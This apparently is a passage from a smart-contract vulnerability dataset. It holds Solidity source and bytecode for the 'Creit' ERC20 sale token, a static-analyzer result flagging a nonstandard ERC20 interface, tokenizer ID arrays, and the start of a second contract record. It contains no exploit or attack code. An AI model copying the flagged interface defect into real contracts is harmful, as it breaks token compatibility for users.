than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } contract owned { address payable public owner; constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address payable newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes calldata _extraData) external; } contract Pausable is owned { event Pause(); event Unpause(); bool public paused = false; /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenNotPaused() { require(!paused); _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } } contract TokenERC20 is Pausable { using SafeMath for uint256; // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // total no of tokens for sale uint256 public TokenForSale; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor( uint256 initialSupply, string memory tokenName, string memory tokenSymbol, uint256 TokenSale ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes TokenForSale = TokenSale * 10 ** uint256(decimals); } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != address(0)); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] = balanceOf[_from].sub(_value); // Add the same to the recipient balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } } contract Sale is owned, TokenERC20 { // total token which is sold uint256 public soldTokens; modifier CheckSaleStatus() { require (TokenForSale >= soldTokens); _; } } contract Creit is TokenERC20, Sale { using SafeMath for uint256; uint256 public unitsOneEthCanBuy; uint256 public minPurchaseQty; mapping (address => bool) public airdrops; /* Initializes contract with initial supply tokens to the creator of the contract */ constructor() TokenERC20(18648000, 'Creit', 'CREIT', 266808) public { unitsOneEthCanBuy = 282; soldTokens = 0; } function changeOwnerWithTokens(address payable newOwner) onlyOwner public { uint previousBalances = balanceOf[owner] + balanceOf[newOwner]; balanceOf[newOwner] += balanceOf[owner]; balanceOf[owner] = 0; assert(balanceOf[owner] + balanceOf[newOwner] == previousBalances); owner = newOwner; } function changePrice(uint256 _newAmount) onlyOwner public { unitsOneEthCanBuy = _newAmount; } function startSale() onlyOwner public { soldTokens = 0; } function increaseSaleLimit(uint256 TokenSale) onlyOwner public { TokenForSale = TokenSale * 10 ** uint256(decimals); } function increaseMinPurchaseQty(uint256 newQty) onlyOwner public { minPurchaseQty = newQty * 10 ** uint256(decimals); } function airDrop(address[] memory _recipient, uint _totalTokensToDistribute) onlyOwner public { uint256 total_token_to_transfer = (_totalTokensToDistribute * 10 ** uint256(decimals)).mul(_recipient.length); require(balanceOf[owner] >= total_token_to_transfer); for(uint256 i = 0; i< _recipient.length; i++) { if (!airdrops[_recipient[i]]) { airdrops[_recipient[i]] = true; _transfer(owner, _recipient[i], _totalTokensToDistribute * 10 ** uint256(decimals)); } } } function() external payable whenNotPaused CheckSaleStatus { uint256 eth_amount = msg.value; uint256 amount = eth_amount.mul(unitsOneEthCanBuy); require(balanceOf[owner] >= amount ); _transfer(owner, msg.sender, amount); soldTokens = soldTokens.add(amount); //Transfer ether to fundsWallet owner.transfer(msg.value); } }
0x6080604052600436106101665760003560e01c806370a08231116100d1578063a9059cbb1161008a578063dd62ed3e11610064578063dd62ed3e146108c8578063ee2b78a11461094d578063f2fde38b14610978578063fd1fc4a0146109c957610166565b8063a9059cbb1461081b578063b66a0e5d14610876578063c030f3e21461088d57610166565b806370a08231146106145780638456cb59146106795780638c86f0a7146106905780638da5cb5b146106f957806395d89b4114610750578063a2b40d19146107e057610166565b80633a9588ba116101235780633a9588ba146104fc5780633f4ba83a1461054d5780634f0f97ab146105645780635c975abb1461058f5780635ed9ebfc146105be57806365f2bc2e146105e957610166565b806306fdde03146102cf578063095ea7b31461035f57806318160ddd146103d257806323b872dd146103fd5780632ebeee0f14610490578063313ce567146104cb575b600060149054906101000a900460ff161561018057600080fd5b600854600554101561019157600080fd5b600034905060006101ad60095483610a9890919063ffffffff16565b905080600660008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561021c57600080fd5b6102486000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff163383610b1e565b61025d81600854610ed390919063ffffffff16565b6008819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501580156102ca573d6000803e3d6000fd5b505050005b3480156102db57600080fd5b506102e4610f5b565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610324578082015181840152602081019050610309565b50505050905090810190601f1680156103515780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561036b57600080fd5b506103b86004803603604081101561038257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ff9565b604051808215151515815260200191505060405180910390f35b3480156103de57600080fd5b506103e7611086565b6040518082815260200191505060405180910390f35b34801561040957600080fd5b506104766004803603606081101561042057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061108c565b604051808215151515815260200191505060405180910390f35b34801561049c57600080fd5b506104c9600480360360208110156104b357600080fd5b810190808035906020019092919050505061123c565b005b3480156104d757600080fd5b506104e06112b6565b604051808260ff1660ff16815260200191505060405180910390f35b34801561050857600080fd5b5061054b6004803603602081101561051f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112c9565b005b34801561055957600080fd5b506105626115c9565b005b34801561057057600080fd5b50610579611683565b6040518082815260200191505060405180910390f35b34801561059b57600080fd5b506105a4611689565b604051808215151515815260200191505060405180910390f35b3480156105ca57600080fd5b506105d361169c565b6040518082815260200191505060405180910390f35b3480156105f557600080fd5b506105fe6116a2565b6040518082815260200191505060405180910390f35b34801561062057600080fd5b506106636004803603602081101561063757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116a8565b6040518082815260200191505060405180910390f35b34801561068557600080fd5b5061068e6116c0565b005b34801561069c57600080fd5b506106df600480360360208110156106b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061177c565b604051808215151515815260200191505060405180910390f35b34801561070557600080fd5b5061070e61179c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561075c57600080fd5b506107656117c1565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107a557808201518184015260208101905061078a565b50505050905090810190601f1680156107d25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156107ec57600080fd5b506108196004803603602081101561080357600080fd5b810190808035906020019092919050505061185f565b005b34801561082757600080fd5b506108746004803603604081101561083e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506118c2565b005b34801561088257600080fd5b5061088b6118d1565b005b34801561089957600080fd5b506108c6600480360360208110156108b057600080fd5b8101908080359060200190929190505050611934565b005b3480156108d457600080fd5b50610937600480360360408110156108eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119ae565b6040518082815260200191505060405180910390f35b34801561095957600080fd5b506109626119d3565b6040518082815260200191505060405180910390f35b34801561098457600080fd5b506109c76004803603602081101561099b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119d9565b005b3480156109d557600080fd5b50610a96600480360360408110156109ec57600080fd5b8101908080359060200190640100000000811115610a0957600080fd5b820183602082011115610a1b57600080fd5b80359060200191846020830284011164010000000083111715610a3d57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050611a75565b005b600080831415610aab5760009050610b18565b6000828402905082848281610abc57fe5b0414610b13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611d3c6021913960400191505060405180910390fd5b809150505b92915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b5857600080fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ba457600080fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540111610c3057600080fd5b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054019050610d0782600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cb290919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d9c82600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ed390919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a380600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540114610ecd57fe5b50505050565b600080828401905083811015610f51576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ff15780601f10610fc657610100808354040283529160200191610ff1565b820191906000526020600020905b815481529060010190602001808311610fd457829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60045481565b6000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561111757600080fd5b6111a682600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cb290919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611231848484610b1e565b600190509392505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461129557600080fd5b600360009054906101000a900460ff1660ff16600a0a8102600a8190555050565b600360009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461132257600080fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600660008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054019050600660008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000600660008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600660008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011461158557fe5b816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461162257600080fd5b600060149054906101000a900460ff1661163b57600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60055481565b600060149054906101000a900460ff1681565b60085481565b60095481565b60066020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461171957600080fd5b600060149054906101000a900460ff161561173357600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600b6020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156118575780601f1061182c57610100808354040283529160200191611857565b820191906000526020600020905b81548152906001019060200180831161183a57829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146118b857600080fd5b8060098190555050565b6118cd338383610b1e565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461192a57600080fd5b6000600881905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461198d57600080fd5b600360009054906101000a900460ff1660ff16600a0a810260058190555050565b6007602052816000526040600020602052806000526040600020600091509150505481565b600a5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a3257600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611ace57600080fd5b6000611afb8351600360009054906101000a900460ff1660ff16600a0a8402610a9890919063ffffffff16565b905080600660008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611b6a57600080fd5b60008090505b8351811015611cac57600b6000858381518110611b8957fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611c9f576001600b6000868481518110611bef57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611c9e6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16858381518110611c7957fe5b6020026020010151600360009054906101000a900460ff1660ff16600a0a8602610b1e565b5b8080600101915050611b70565b50505050565b600082821115611d2a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b60008284039050809150509291505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a265627a7a72315820156d91cd142524f682401edbf4fe893f10c9f4a31f1f3ef09752b800d50d7a6464736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 16409, 2094, 26187, 21486, 2546, 16576, 2063, 2692, 2497, 22407, 23499, 2063, 22407, 2692, 2620, 2050, 2692, 2509, 3540, 2509, 8586, 2278, 2575, 2683, 2509, 2063, 2581, 26187, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 6185, 1011, 2654, 1008, 1013, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 10476, 1011, 5511, 1011, 5890, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1018, 1012, 2423, 1026, 1014, 1012, 1020, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 27121, 8785, 3136, 2007, 3808, 14148, 2008, 7065, 8743, 2006, 7561, 1012, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 1013, 1008, 1008, 1008, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,474
0x96dd07b6c99b22f3f0cb1836aff8530a98bde9e3
// SPDX-License-Identifier: AGPL-3.0 pragma solidity ^0.5.17; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint a, uint b) internal pure returns (uint) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint a, uint b) internal pure returns (uint) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint value) internal { uint newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint value) internal { uint newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success 